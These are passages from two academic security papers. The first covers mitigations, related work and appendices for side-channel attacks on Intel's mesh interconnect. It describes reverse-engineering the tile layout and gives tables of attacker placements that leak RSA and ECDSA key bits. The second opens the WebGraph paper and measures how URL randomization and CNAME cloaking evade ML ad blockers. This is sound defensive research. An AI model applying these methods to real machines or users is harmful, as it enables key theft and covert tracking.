9 Software-Based Mitigations

The reverse engineering results and the analytical model pro-
vide useful insights into designing software-based mitigations.
To start, as discussed in Section 8.5, the operating system or
hypervisor can schedule the victim to the least vulnerable
cores. For example, security-sensitive applications should run
on cores with lower scores such as 13 rather than 32. This
already makes the attacker suffer from a higher error rate.

In addition to the victim’s placement, our analytical model
suggests that the attacker’s placement also affects the attack
accuracy. Thus, the model can guide the design of an intel-
ligent scheduler that reduces leakage through interconnect
contention. Given a victim’s core location, the scheduler will
reserve the cores that contribute to the top k vulnerability
scores for applications that belong to the same security do-
main as the victim. This lightweight and practical mitigation
mechanism can significantly reduce the accuracy of the attack.

We evaluate this mitigation mechanism as follows. For
each victim placement, we reserve the k cores with the high-
est vulnerability scores by making them unavailable to the
attacker and re-calculate the vulnerability score. Figure 14
and Appendix E show how the scores change across all victim
placements with increasing k. The mean score decreases as we
reserve more cores. However, this mechanism affects different
victim placements differently. For example, the mitigation is
highly effective for victim placements such as (2,0) and (2,5),
where the vulnerability score is reduced from 29 to 4 after
reserving only 4 cores. However, the mitigation is less effec-
tive for victim placements such as (4,1) and (4,4), where the
score drops below 32 only after reserving 16 cores. These re-
sults highlight the importance of scheduling security-sensitive
software on cores where the mitigation is most effective.

Discussion The software-based mitigation above reduces
the efficacy of interconnect side-channel attacks but does not
fully close the channel. We discuss more extensive hardware
mechanisms to fully block interconnect leakage in Section 10.
Our mitigation aims to be non-invasive and flexible. Since it
only requires scheduler modifications, it can be more conve-
niently adopted on today’s systems. In addition, applications
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can adjust their degree of isolation. Less sensitive applications
can reserve fewer cores to conserve resources.

Since our scheme reduces the flexibility of the scheduler, it
may negatively impact system performance. As we reserve
cores for a domain, other security domains need to compete
for unreserved cores, resulting in potential performance degra-
dation. Even intelligently scheduling a multi-threaded victim
(e.g., a VM) that runs on n cores may require reserving more
than n cores. In particular, selecting the minimal set of m≥ n
cores such that these m cores sufficiently reduce the victim’s
vulnerability score is a complex (and orthogonal) partitioning
problem. However, considering that modern cloud resources
are generally over-provisioned [14, 104], we believe that, in
practice, the performance impact of our scheme would be low.

10 Related Work

Attacks We provided a classification of microarchitectural
attacks in Section 2.3. We now discuss prior works that ex-
plored the security of on-chip CPU interconnects specifically.

Wang et al. [92] were the first to consider side-channel
attacks on the on-chip interconnect. However, their attack was
only demonstrated on a simplified architectural simulator.

Paccagnella et al. [74] described attacks exploiting con-
tention on the ring interconnect used by client-class Intel
processors. Our work builds on their techniques but is dif-
ferent in two main ways. First, we study a more complex,
2-dimensional interconnect with different traffic flows and
lane scheduling policies, as well as more complex priority
arbitration policies. Second, our work handles a much larger
number of placement options for the attacker. For example,
if we fix the victim’s core, there are 598 attacker placements
on our processor, as opposed to only 56 placements on an
8-core desktop processor. Hence, our work includes a novel
analytical model to find the optimal attacker placement.

Dutta et al. demonstrated a cross-component covert channel
that exploits contention on the ring interconnect [20]. There
are also works that used information about the on-chip in-
terconnect to improve cache side channels [18, 82]. These
works demonstrate additional benefits of reverse engineering
the interconnect to attackers. However, these attacks are fun-
damentally dependent on shared cache structures whereas our
work focuses on side channels outside the cache.

Most recently, concurrent work from Wan et al. [90] de-
scribed a side-channel attack that also targets Intel’s mesh in-
terconnect. However, their work does not include lane schedul-
ing and priority arbitration policy details. Further, given the
large delays (up to 1000 cycles) they report and the significant
memory footprint of their victim, it is unclear whether their
attack works due to contention on the interconnect or on other
shared structures, e.g., shared cache directories or slice ports,
both of which are not partitioned by Intel CAT [70]. In con-
trast, our work establishes the precise conditions for creating

contention on the mesh interconnect, and our experiments are
carefully designed to rule out other contention sources.

Mitigations Existing mitigations to our attack can be classi-
fied into software and hardware mitigations. Among software
mitigations, the recommended strategy is to use constant-time
cryptographic implementations [46]. Mitigations at the hard-
ware level that separate the traffic flows of different security
domains have also been proposed. Wang and Suh investigated
domain-aware priority arbitration policies which give low-
security traffic precedence over high-security traffic at the
router [92]. Wassel et al. propose a time-multiplexed schedul-
ing policy in which network links may only carry traffic from a
predefined security domain at each instant in time [94]. While
effective, these approaches require hardware modifications to
the interconnect and cannot be adjusted to accommodate more
security domains once deployed. In contrast, our proposed
mitigation is non-intrusive and does not require hardware
changes. Alternatively, a limited form of spatial partitioning
may be accomplished using Intel’s Sub-NUMA Clustering
(SNC), which splits the LLC slices into two disjoint clusters,
each bound to a single memory controller [48]. However,
SNC only focuses on memory mappings, so while it may
reduce interconnect contention in particular cases, it makes
no guarantees about isolating interconnect traffic in general.
Further, it only supports two domains.

11 Conclusion

In this paper, we reverse engineered the lane scheduling and
priority arbitration policies used by Intel’s mesh interconnect.
We demonstrated covert channel and side-channel attacks that
exploit contention on the mesh interconnect. We then used
an analytical model to quantify the vulnerability of different
cores and proposed a non-invasive software mitigation.

Our results underscore that, though difficult to exploit, on-
chip interconnects remain an overlooked microarchitectural
attack surface and that additional work is necessary to enforce
security-by-design against these attacks in future server pro-
cessors. We made a first step towards this goal by introducing
a non-invasive mitigation to interconnect side channels. Going
forward, we expect that our work will facilitate future research
into the security of on-chip interconnects. More broadly, we
hope that our findings motivate the development of princi-
pled, holistic mitigations against microarchitectural attacks,
as opposed to the current per-resource, “spot” mitigations.
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Appendix

A Determining Address Mapping

When designing the transmitter and receiver, we need ad-
dresses that map to a given L2 set and LLC slice. To determine
the L2 set of a virtual address, we use 2MB hugepages, as
in [49,61]. To determine the LLC slice ID of a virtual address,
there exist two approaches. If the attacker has root privileges,
such as when reverse engineering a local machine, the attacker
can use Intel PMON counters, as in prior work [68]. Without
root privileges, the attacker can leverage timing information
to map addresses to LLC slices in a coarse-grained fashion.
For example, since accesses to the local slice are faster than
accesses to remote slices, the attacker can pin a program to
a core and find addresses that map to the local slice (as in
prior work [102]). On our 24-core and 26-slice processor, the
attacker will find 26 groups of addresses of which 24 map to
slices on active cores and 2 map to partially-disabled tiles. The
attacker then figures out the slice ID of each group based on
the tile-mapping information (as explained in Appendix B).

B Inferring Tile Layout and Mapping

We describe how we reverse-engineered the tile layout and
tile mapping of our Intel Xeon Gold 5220R processor shown
in Figure 2. Specifically, we want to obtain the following: 1)
the positions of disabled tiles; 2) the mapping from an LLC
slice ID to a tile; 3) the mapping from a core ID to a tile.

We start by obtaining basic processor information using the
lscpu command, which indicates that the chip has 24 cores.
Next, we find the number of LLC slices. As documented by
Intel [47], bits 27:0 in the CAPID6 register indicate the number
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of LLC slices, which we find to be 26 on our setup. Our
processor uses an XCC configuration with 30 tiles, organized
into a 5× 6 grid. According to public information [95], an
XCC chip has 2 IMC tiles and 28 Core tiles. Therefore, we
infer that there are 4 disabled cores and 2 disabled LLC slices.

We first describe an approach to locate disabled tiles that
require privileged access to a machine and then describe al-
ternative approaches that do not require privileged access.

Locating Disabled Tiles Using the CAPID6 Register Prior
work found that each bit of the CAPID6 register corresponds
to a Core tile on the die [68]. The Core tiles are numbered
in column-major order from the top-left corner. Hence, by
querying the CAPID6 register, we learn which tiles are dis-
abled. For example, on our processor, the CAPID6 register
contains 0x0ffddfff, where bits 13 and 17 are unset, indi-
cating that tiles 13 and 17 are disabled. According to the
numbering mechanism above, tile 13 is located at (4,2) and
tile 17 is located in (3,3) in Figure 2.

Reverse Engineering Tile Mappings The LLC slice IDs
are kept internally by the hardware and are referred to as
CHA IDs by Intel. They are used by the PMON counters
and are very useful for our reverse engineering process. Mc-
Calpin [68] has verified that CHA IDs map to active Core
tiles in column-major order.

The last step is to figure out which tile each CPU ID maps
to. We use the approach in [68] as follows. Recall that CPU
IDs are used by the OS to schedule processes onto different
cores. We pin a program on a given CPU and repeatedly load
from DRAM (assisted by the clflush instruction) to generate
traffic to the two IMC tiles. We then use PMON counters to
monitor the data ring utilization on each tile. According to
the traffic flow analysis in Section 6.1, the only traffic on the
data ring is from the IMC to the tile that the logical CPU
maps to. With two IMC tiles and a Y-X routing policy, only
one tile observes 2 incoming traffic flows, and that is the tile
the logical CPU maps to. We repeat this approach for every
logical CPU to completely recover the mapping.

Locating Disabled Tiles With Unprivileged Access Prior
work has observed that the position of disabled tiles may vary
across different units of the same processor model [68]. An
unprivileged attacker may need to locate the disabled tiles on
the victim’s machine. We discuss two methods that do not
rely on privileged access, i.e., access to the CAPID6 register.

One method uses timing information by having the attacker
first profile the cache access latency for all core-slice pairs on
a local machine with privileged access. The attacker then ob-
tains the same profile on the victim’s machine. By analyzing
how the two profiles differ, the attacker can infer the locations
of the disabled tiles. An alternative method uses interconnect
contention. The attacker again profiles the interconnect con-
tention pattern (cf. Section 6) on both a local machine and the
victim’s machine. By analyzing how the contention pattern
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Figure 15: Traffic flows on the data and acknowledge rings
when the transmitter executes on Core (0,0) and the attacker
monitors traffic between Core(0,2)↔ Slice(0,3).

on the victim’s machine deviates from the reference pattern,
the attacker can infer the locations of the disabled tiles.

C Side-Channel Attack Placement

Figure 15 explains why the attacker’s placement in Section 8.3
allows it to observe a moderate amount of network traffic by
showing the traffic flows on the data and acknowledge rings.
The victim has traffic flows from all 25 remote slices. The
attacker’s traffic uses the same lane as the victim’s horizontal
traffic (both use the white lane per Figure 4). Crucially, the
attacker’s traffic also has lower priority than the traffic from
the tiles in the two rightmost columns. Therefore, this attacker
can monitor the victim’s traffic flows from 9 out of 24 slices.

Note that while this attacker placement is effective, it is in
fact a suboptimal placement for a victim at (0,0). Placing the
receiver at Core(0,2)↔ Slice(0,3) results in a vulnerability
score of 29 whereas Core(0,2) ↔ Slice(2,3), the optimal
placement, has a vulnerability score of 32.

D Model Verification Data

Table 2 shows the results used to verify our analytical model
from Section 8.5. In general, higher vulnerability scores cor-
respond to better bit-classification accuracies. For example,
positioning the attacker on Core(0,2)↔ Slice(2,3) (vulnera-
bility score of 32) gives an 87.4% accuracy when leaking an
RSA key bit while positioning the attacker on Core(2,1)↔
Slice(4,5) (vulnerability score of 2) yields a 65.4% accuracy.

E Mitigation Evaluation Data

Table 3 shows the results used in the attack mitigation analysis
from Section 9. For every possible victim core location, we
compute the vulnerability score after reserving the cores that
contribute to the top k vulnerability scores.
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Attacker Attacker Vuln RSA ECDSA

Core ID Slice ID Score Acc Prec Rec Acc Prec Rec

(2,0) (4,5) 10 77.2 76.0 60.2 68.7 71.0 62.9
(3,0) (2,0) 20 71.4 71.7 49.9 70.4 68.0 81.4
(0,1) (2,5) 5 69.1 65.2 51.6 58.7 57.5 60.4
(1,1) (2,5) 5 66.2 59.4 50.7 61.8 60.5 64.9
(2,1) (4,5) 2 65.4 56.8 52.3 61.5 60.8 62.8
(3,1) (2,0) 20 76.8 76.9 59.6 66.6 68.0 60.6
(4,1) (3,0) 10 66.2 62.0 47.1 69.0 71.7 65.8
(0,2) (2,3) 32 87.4 83.6 83.6 75.8 77.4 70.8
(1,2) (2,5) 5 68.1 59.0 48.8 65.5 65.0 69.2
(2,2) (4,1) 4 69.7 65.4 51.7 62.0 60.0 61.5
(3,2) (2,0) 20 79.0 75.4 65.7 75.1 81.6 66.8
(0,3) (2,1) 7 63.9 56.4 45.0 65.9 64.4 70.0
(1,3) (2,1) 7 64.9 61.0 42.3 63.6 64.8 63.9
(2,3) (4,1) 4 67.5 60.6 47.1 64.8 63.0 66.6
(4,3) (3,0) 10 68.4 77.9 32.3 63.0 61.0 68.2
(0,4) (1,2) 7 65.2 58.1 44.2 63.0 64.5 60.4
(1,4) (2,2) 5 66.4 59.0 50.7 62.7 61.1 70.2
(2,4) (3,2) 4 65.0 57.8 48.2 60.8 61.2 59.4
(3,4) (2,0) 20 74.2 74.0 57.1 72.5 74.2 67.5
(4,4) (3,0) 10 67.1 67.2 50.4 64.6 62.9 64.5
(0,5) (2,1) 7 63.7 53.0 44.6 61.9 62.0 62.4
(2,5) (4,1) 4 64.5 55.2 47.5 62.2 60.3 63.8
(3,5) (2,0) 20 74.5 71.6 58.4 67.2 73.2 58.4

Table 2: Classification percent accuracy (Acc), precision (Prec), and recall (Rec) for various optimal attacker placements. The
victim was pinned on (0,0).

Victim Core Number of reserved cores (k)

0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24

(0,0) 32 20 20 20 20 20 10 10 10 10 7 7 7 7 5 5 5 5 4 4 4 4 2 0 0
(2,0) 29 10 10 10 4 4 4 4 4 4 4 4 4 2 2 2 2 2 2 2 2 0 0 0 0
(3,0) 32 20 20 20 20 20 20 10 7 7 5 5 5 5 4 4 4 4 4 2 2 2 2 0 0
(0,1) 32 32 32 32 32 32 32 32 32 32 32 32 32 32 16 7 5 5 5 5 5 3 3 0 0
(1,1) 20 20 20 16 10 5 5 5 5 5 5 4 4 3 3 2 2 2 2 2 2 0 0 0 0
(2,1) 13 12 12 12 12 12 12 10 10 10 4 2 2 2 2 2 2 2 2 0 0 0 0 0 0
(3,1) 20 20 20 20 20 20 10 7 6 5 5 5 5 4 3 3 2 2 2 2 2 2 0 0 0
(4,1) 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 16 7 5 5 5 3 3 0 0
(0,2) 32 32 32 32 32 32 32 32 32 32 32 32 32 32 30 15 5 4 4 4 4 4 3 0 0
(1,2) 20 20 20 15 10 5 5 5 4 4 4 4 3 3 2 2 2 2 1 1 1 0 0 0 0
(2,2) 27 12 12 12 12 12 12 12 10 10 10 2 2 2 1 1 1 1 1 1 0 0 0 0 0
(3,2) 30 20 20 20 20 20 20 15 10 6 5 5 4 4 3 2 2 1 1 1 1 1 0 0 0
(0,3) 32 32 32 32 32 32 32 32 32 32 32 32 32 32 30 15 5 4 4 4 4 4 3 0 0
(1,3) 20 20 20 15 10 4 4 4 4 4 3 3 3 2 2 2 2 1 1 1 1 0 0 0 0
(2,3) 27 12 12 12 12 12 12 12 2 2 2 2 1 1 1 1 1 1 1 1 0 0 0 0 0
(4,3) 20 20 20 20 15 12 12 12 12 12 12 10 5 5 4 4 3 3 2 2 1 1 0 0 0
(0,4) 32 32 32 32 32 32 32 32 32 32 32 32 32 32 16 7 5 5 5 4 4 3 3 0 0
(1,4) 20 20 20 16 10 7 5 5 5 5 5 4 4 4 3 3 2 2 2 2 2 0 0 0 0
(2,4) 13 12 12 12 12 12 12 10 10 10 4 4 2 2 2 2 2 2 2 0 0 0 0 0 0
(3,4) 20 20 20 20 20 20 16 10 7 6 5 5 5 4 3 3 2 2 2 2 2 2 0 0 0
(4,4) 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 7 5 5 5 5 3 3 0 0
(0,5) 31 20 20 20 20 20 10 10 10 10 7 7 7 7 5 5 5 5 4 4 4 4 2 0 0
(2,5) 29 10 10 10 4 4 4 4 4 4 4 4 4 2 2 2 2 2 2 2 2 0 0 0 0
(3,5) 20 20 20 20 20 20 10 7 5 5 5 5 5 5 4 4 4 4 4 2 2 2 2 0 0

Table 3: Vulnerability scores for each victim core for all numbers of reserved cores.
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Abstract
Users rely on ad and tracker blocking tools to protect their

privacy. Unfortunately, existing ad and tracker blocking tools
are susceptible to mutable advertising and tracking content.
In this paper, we first demonstrate that a state-of-the-art ad
and tracker blocker, ADGRAPH, is susceptible to such adver-
sarial evasion techniques that are currently deployed on the
web. Second, we introduce WEBGRAPH, the first ML-based ad
and tracker blocker that detects ads and trackers based on their
action rather than their content. By featurizing the actions that
are fundamental to advertising and tracking information flows –
e.g., storing an identifier in the browser or sharing an identifier
with another tracker – WEBGRAPH performs nearly as well as
prior approaches, but is significantly more robust to adversarial
evasions. In particular, we show that WEBGRAPH achieves
comparable accuracy to ADGRAPH, while significantly de-
creasing the success rate of an adversary from near-perfect for
ADGRAPH to around 8% for WEBGRAPH. Finally, we show
that WEBGRAPH remains robust to sophisticated adversaries
that use adversarial evasion techniques beyond those currently
deployed on the web.

1 Introduction

Users rely on privacy-enhancing blocking tools to protect
themselves from online advertising and tracking. Many of
these tools—including uBlock Origin [8], Ghostery [6], Fire-
fox [47, 48], Edge [49], and Brave [16]—rely on manually
curated filter lists [3, 4, 5] to block advertising and tracking.
The research community is developing machine learning (ML)
approaches to automate the detection of advertising and track-
ing and make filter lists more comprehensive. The first gen-
eration of ML-based blocking approaches analyze network
requests [13, 33, 53] or JavaScript code [37, 42, 64] to learn
distinctive behaviors of advertising and tracking. However,
these approaches are highly susceptible to adversarial evasion
techniques that are already found in the wild, including URL

‡

The majority of this work was completed while Steven was at Mozilla.

and code obfuscation [55, 58]. The next generation of ML-
based blocking approaches leverage cross-layer graph infor-
mation from multiple layers of the web stack [40, 54]. These
approaches claim better robustness to evasion than single-layer
approaches, due to their use of structural features (the hierar-
chy of resource inclusions) in addition to traditional content
features (the resource’s network location or response content).

In this paper, we show that state-of-the-art ad and tracker
blocking approaches, such as ADGRAPH [40], are susceptible
to adversarial evasions due to their disproportionate reliance on
easy-to-manipulate content features. We show that a third-party
adversary can achieve 8% evasion success by manipulating
URLs of its resources. Worse yet, an adversary can achieve
near-perfect evasion—as high as a 96% success rate—if they
collude with the first party, e.g, by using the CNAME cloaking
technique already deployed by some trackers [26, 28].

We introduce WEBGRAPH, the first ML-based ad and
tracker blocking approach that does not rely on content features.
WEBGRAPH improves the cross-layer graph representation by
capturing a fundamental property of advertising and tracking
services (ATS): the flow of information from one entity to the
browser’s storage, the network, and other entities loaded on
a page. The intuition behind WEBGRAPH is to focus on the
actions of the advertising and tracking services, rather than the
contents of their resources. We posit that actions are harder
to obfuscate. Advertising and tracking scripts need to store
identifiers for users, and those identifiers must be shared with
any other entity with which they wish to share data (e.g., via
cookie syncing [51]). Thus, we build a graph representation of
the page load by monitoring network requests, JavaScript exe-
cution, HTML element creations, and browser storage access.
From this graph we extract flow features, which explicitly cap-
ture distinctive information flows in advertising and tracking.
Our evaluation shows that WEBGRAPH’s graph representation
and flow features can supplant content features, with compara-
ble accuracy.

While high accuracy is necessary for deployment, it is not
sufficient. We have repeatedly seen that advertisers and track-
ers will attempt to circumvent detection and evade blocking
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[26, 44, 55, 58]. Therefore, in order for an advertising and
tracking classifier to be useful in practice, it must be robust
to adversarial manipulation. We show that WEBGRAPH rep-
resents a significant step forward in robustness to adversarial
evasion as compared to prior approaches. In particular, we find
that WEBGRAPH is robust to the types of URL, CNAME, and
content manipulation evasion techniques that are currently de-
ployed on the web. We also know that advertisers and trackers
will attempt to deploy more sophisticated evasion techniques
tailored to our proposed approach. To understand how robust
WEBGRAPH would be in the face of these new evasion tech-
niques, we propose a novel realistic graph manipulation eva-
sion technique. We show that this attack achieves only limited
evasion success against WEBGRAPH, while incurring a non-
trivial usability loss in terms of mistakenly blocking its own
advertising/tracking resources or other benign resources on the
web page.

Overall, our findings suggest that the community should
migrate away from unreliable content features for advertising
and tracking blocking. We show that information flow features
built upon the actions of advertisers and trackers provide a
promising path forward.

In summary, our contributions are as follows:

• We show that existing ML-based ad and tracker blocking
approaches are susceptible to evasion due to their reliance on
content features. As a representative example, we show how
an adversary can achieve near-perfect evasion of ADGRAPH
using techniques already in use on the web today.

• We introduce WEBGRAPH, the first ML-based ad and
tracker blocking approach that does not rely on content fea-
tures and captures fundamentally distinctive information
flows in advertising and tracking.

• Our in-depth evaluation shows that WEBGRAPH achieves
comparable accuracy to prior approaches and achieves sig-
nificantly better robustness to adversarial manipulation of
content features.

• We propose a novel graph manipulation evasion technique,
and show that WEBGRAPH (and the information flow fea-
tures it relies on) remains robust under this attack.

Paper organization: The rest of this paper is organized as
follows: Section 2 provides an overview of the recent advances
in ML-based ad and tracker blocking. Section 3 evaluates ro-
bustness of existing graph-based approaches, using ADGRAPH
as a representative example. Section 4 describes the design
and evaluation of WEBGRAPH. Section 5 further evaluates
WEBGRAPH’s robustness to adversarial attacks. We discuss
limitations of our work in Section 6 and conclude in Section 7.

2 Background & Related Work

Online behavioral advertising enables ad targeting based on
users’ interests and behaviors. To target ads, online advertising

relies on the intertwined tracking ecosystem that uses cook-
ies for cross-site tracking. For instance, the real-time bidding
(RTB) protocol that powers programmatic online advertising
has built-in mechanisms for advertisers and trackers to share
information [24, 32, 51]. Thus, almost always, ads and trackers
go together, with intertwined execution flows and resource de-
pendencies. Below, we revisit prior literature on ad and tracker
blocking, and analyze its limitations.

Popular ad and tracker blocking tools such as Adblock Plus
[1] rely on filter lists [4, 5]. These filter lists are manually
curated based on user feedback. Prior work has shown that
manually curated filter lists suffer from scalability and robust-
ness issues. First, filter lists have trouble keeping up with the
ever expanding advertising and tracking ecosystem. Filter lists
have grown to include tens of thousands of rules that are often
not updated in a timely fashion. For instance, filter lists may
take as long as 3 months to add rules for newly discovered ads
and trackers [39]. Once a filter rule is added to block an adver-
tising and tracking service, it is rarely removed, even if it is
no longer needed. In fact, prior work showed that almost 90%
of the rules in filter lists are rarely or never used [58]. Second,
filter lists are not robust to evasion attempts by advertisers and
trackers. Filter lists are brittle in the face of domain rotation
[21, 65] and manipulation of page structure [15, 56, 63]. For
instance, prior work showed that filter lists are susceptible to
evasion attacks such as randomization of URL path, hostname,
or element attributes and IDs [10, 44, 61].

Addressing scalability. To address the scalability issues that
arise due to manual curation of filter lists, researchers have
proposed to use machine learning (ML) for automated ad and
tracker blocking. Prior ML-based approaches mainly detect ads
and trackers at the network and JavaScript layers of the web
stack. These approaches detect ads and trackers by featurizing
network requests [13, 33, 53] or JavaScript code [37, 42, 64].

Network layer approaches rely on content in URLs, HTTP
headers, and request and response payloads (e.g., keywords,
query strings, payload size) to extract features and train ML
models to detect ads and trackers [13, 33]. While trying to
mimic filter lists by detecting ad and tracker URLs, these ap-
proaches end up replicating some characteristics of filter lists
and thus also naturally inherit their shortcomings. For example,
presence of a certain keyword in the request URL could be
a distinguishing feature. However, as discussed earlier, such
keyword based features are brittle in the face of trivial evasions
such as domain rotation [10, 61].

JavaScript layer approaches rely on static or dynamic anal-
ysis to extract features and train ML models to detect ads
and trackers. Examples of features are n-grams of code state-
ments obtained via static analysis [37] or JavaScript API invo-
cations captured via dynamic analysis [64]. These approaches
are susceptible to JavaScript obfuscation [25, 31, 34]. These
approaches are also susceptible to evasion such as script amal-
gamation or dispersion. They implicitly assume that tracking
code is bundled in a single script or that tracking scripts only
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contain tracking code. However, in practice, tracking code
could be distributed across several chunks and packaged with
functional code [11, 40].

Addressing robustness. While network and JavaScript layer
approaches consider information at each layer in isolation, ads
and trackers rely on all three layers (i.e. network, JavaScript,
and HTML) of the web stack for their execution. Therefore,
focusing on only one layer lacks robustness against the afore-
mentioned evasion attempts. To address this limitation, graph-
based approaches aim to capture the interactions among and
across layers of the web stack.

Graph-based approaches extract features from the cross-
layer graph representation to train ML models to detect ads
and trackers [40, 54]. These approaches leverage rich cross-
layer context and thus claim to be robust to evasion attempts.
ADGRAPH was the first graph-based approach to ad and tracker
classification [40]. It extracts structural features from the graph
such as node connectivity and ancestry information as well as
content features such as URL length and presence/absence of
certain keywords. Sjösten et al. [54] introduced PageGraph,
which extends ADGRAPH’s graph representation by improv-
ing event attribution and capturing more behaviors. In addi-
tion to content and structural features, they also added percep-
tual features to train the classifier. Since perceptual features
attempt to use the rendered resource content, they are also
considered content features. Chen et al. [19] proposed an ap-
proach, using PageGraph, to detect trackers based on their exe-
cution signatures. In contrast to ML-based approaches, their
signature-based approach would only be able to detect trackers
that strictly match the signatures of tracking scripts, but miss
trackers with even slight deviations in their behavior, such as
changes in the execution order. Kargaran et al. [43] followed
a different approach. Instead of building a graph representa-
tion per website, they combined graph representations across
multiple websites to model relations between third parties on
those sites. Just like ADGRAPH, they also extract structural
and content features from the graph to train the classifier.

These graph-based systems use a combination of content
and structural features for classification, which they claim in-
creases the robustness to evasion attacks. While this combina-
tion should intuitively improve classifier robustness, we posit
that it would be less robust than expected if the classifier relies
heavily on content features. This is because content features
pertain to a single node on the graph and are easy to manipu-
late for an adversary, e.g., using adversarial attacks on textual
[66] and perceptual [60] content features, without causing un-
desired changes in other nodes. It is noteworthy that Zhu et
al. [66], also manipulate structural features, however their ma-
nipulations are only limited to graph size. Further, they do not
evaluate the impact of their mutations on overall graph.

In the next section, we analyze the robustness of graph-based
ad and tracker detection systems. We focus on ADGRAPH as it
is representative of other graph-based systems that use similar
structural and content features.

3 ADGRAPH Robustness

In this section, we analyze ADGRAPH’s robustness by evaluat-
ing its accuracy in the face of adversarial content manipulation.

ADGRAPH is a graph-based machine learning approach that
detects ads and trackers based on their structural and content
properties. ADGRAPH instruments the Chromium web browser
to capture detailed execution of ads and trackers across the
HTML, JavaScript, and the network layer, and models the in-
teraction among these layers in the form of a graph. Using this
graph, ADGRAPH extracts two categories of features: content
(information related to individual nodes in the graph, such as
URL length and presence of ad/tracking keywords in the URL)
and structure (information about relationships between nodes,
such as connectivity and ancestry information). It uses the ex-
tracted features to train a machine learning classifier to detect
advertising and tracking resources. The full list of ADGRAPH
features are described in Table 4.

Since ADGRAPH relies on content properties, in addition to
structural properties, it is subject to same evasion attacks that
succeed against the filter lists-based ad and tracker detection
approaches [10, 61].

3.1 Threat Model & Attack

Our threat model assumes an adversarial third-party adver-
tiser or tracker embedded on a site, who aims to change the
classification of its resources from advertising and tracking ser-
vices (ATS) to benign resources (Non-ATS) in order to evade
detection by ad and tracker blocking tools.

We assume that the adversarial third party has limited coop-
eration with the first-party publisher. We do not assume full
cooperation because the parties are mutually distrusting. The
third-party adversary generally does not trust the first-party
publisher to serve its advertising and tracking resources via a
reverse proxy [2, 41]. Likewise, the first-party publisher does
not trust the third-party adversary to host functional resources
via the adversary-controlled CDN [14]. Given existing prac-
tices, we assume that the adversary can serve its advertising
and tracking resources from a first-party subdomain but not
arbitrarily within the first-party domain space. For example,
the adversary can masquerade its resources through CNAME
cloaking [23], which only requires a minor change in DNS
records by the first party. Recent measurement studies have
reported an increase in the prevalence of CNAME cloaking
over the last few years. Dao et al. [26] showed that the usage
of CNAME cloaking-based tracking has steadily increased
between 2016 and 2020, with 1,762 of Alexa’s top-300K web-
sites employing at least one CNAME-based tracker as of Jan-
uary 2020. Dimova et al. [28] also showed that the usage of
CNAME cloaking has increased by 22% from 2018 to 2020,
with 9.98% of Tranco’s top-10K websites now employing at
least one CNAME-based tracker as of October 2020.
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Figure 1: Classification switch success rate distribution by web page
(over 10 folds) when the adversary does not collude with the first
party. The average success rate per web page is 15.92 ± 0.03 %.

We assume that the adversary is able to manipulate their own
URLs by altering the domain name or query string. The adver-
sary can only manipulate URLs that are under their control, and
only attempts to manipulate URLs that were initially correctly
classified as ATS (ad and tracker URLs initially classified as
Non-ATS already benefit the adversary). The adversary cannot
manipulate the data used to train the classifier. Therefore, we
only implement mutations during inference.

We implement two types of URL manipulations. For domain
names, we allow the adversary to randomly change the URL’s
domain, subdomain, or both. In practice, adversaries can rely
on automated techniques to generate random domains and sub-
domains. For example, they can use malware-inspired domain
generation algorithms (DGA) techniques to generate a large
number of domains [22, 52]. For query strings, we randomly
change the number of parameters, the parameter names, the
parameter values in the URL, or a combination of the three.

3.2 Results

Experimental setup. We extend OpenWPM [30] to automati-
cally crawl websites with Firefox and build ADGRAPH’s rep-
resentation. We crawl 10K sites sampled from the Alexa’s
top-100K list, the top 1K sites and a random sample of 9K
sites ranked between 1K-100K, and store their graph repre-
sentations. Next, we implement a decision tree classifier that
closely follows ADGRAPH’s design [40], and extract features
from the graphs for training and testing. For ground truth, we
use the same set of filter lists for data labeling that were used
by ADGRAPH [40]. A URL is labeled as ATS if it is present
in one or more of the filter lists, and Non-ATS otherwise. We
use 10-fold cross validation to obtain our results, where the
folds are selected such that every fold uses a different set of
web pages in the test set. Our classifier obtains comparable
performance to the original results reported by [40]: 92.33%
accuracy, 88.91% precision, and 92.14% recall. The minor
differences are likely due to differences in crawled sites, up-
dated filter lists, and a few subtle changes in our adaptation
of ADGRAPH from online to offline. In ADGRAPH’s online

Figure 2: Classification switch success rate distribution by web page
(over 10 folds) when the adversary colludes with the first party. The
average success rate per web page is 93.01 ± 0.01 %.

implementation, features are extracted from each node in the
graph as they are created. Our offline adaptation, instead, ex-
tracts features after page load completion. There are also some
minor differences due to JavaScript attribution, caused by the
differences in instrumentation between Chromium-based AD-
GRAPH and Firefox-based OpenWPM.1

Adversarial success rate without collusion. In our first ex-
periment, we assume that the adversary does not collude with
the first party. The adversary can randomize their domain and
subdomain, but cannot masquerade as the first party. Our con-
tent mutation procedure results in the mutation of 41.48 ± 1.47
% of all the test data URLs (averaged over 10 folds). The ad-
versary’s success rate in evading the classifier is 8.72 ± 0.42 %
(over 10 folds). While this may seem like a low percentage, we
note that every successful mutation is a win for the adversary
since it means that one more of their ads or trackers is now
unblocked. Over all 10 folds, the adversary mutated 691,602
URLs, out of which 60,270 had their classifications switched.

We also observe that the evasion success rate varies across
sites, as shown in Figure 1. For ≈1% of the web pages in the
test set (90 pages), the adversary achieves a perfect success
rate, meaning that all third-party ads and trackers on the web
page are now classified as benign content. It is noteworthy
that 21.62% of the unblocked URLs belong to popular ad
exchanges, which are responsible for further diffusion of user
information due to the broadcast nature of real-time bidding
(RTB) [12]. These unblocked ad exchanges can amplify the
privacy harm because they often share information about page
visits with multiple advertisers and trackers.

Adversarial success rate with collusion. In our second ex-
periment, we assume that the adversary colludes with the first
party. The adversary can perform domain mutation such that
their URL is a subdomain of the first party. The adversary’s
success rate increases to 96.62 ± 0.37 % (over 10 folds). This

1Due to these differences, our features are not exactly identical to the
online implementation of ADGRAPH. For example, in ADGRAPH, a node can
have a maximum of two parents, which need not be the case for our system.
Therefore, we do not use ADGRAPH features specific to these two parents.
The full feature list, showing these differences is provided in Appendix A.
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Feature Category Information Gain (%)

URL length Content 14.87 ± 0.36
URL domain is a subdomain of the first party Content 11.06 ± 1.24
URL is a third party Content 10.67 ± 1.32
Degree of a node Structure 7.56 ± 0.63
Number of edges divided by number of nodes Structure 7.48 ± 0.41

Table 1: Top 5 most important features for ADGRAPH’s classification,
their category, and information gain values (averaged over 10 folds).

means that being able to use a first-party subdomain provides
almost perfect evasion capabilities. Figure 2 shows the evasion
success rate variation across sites. For ≈50% of the web pages
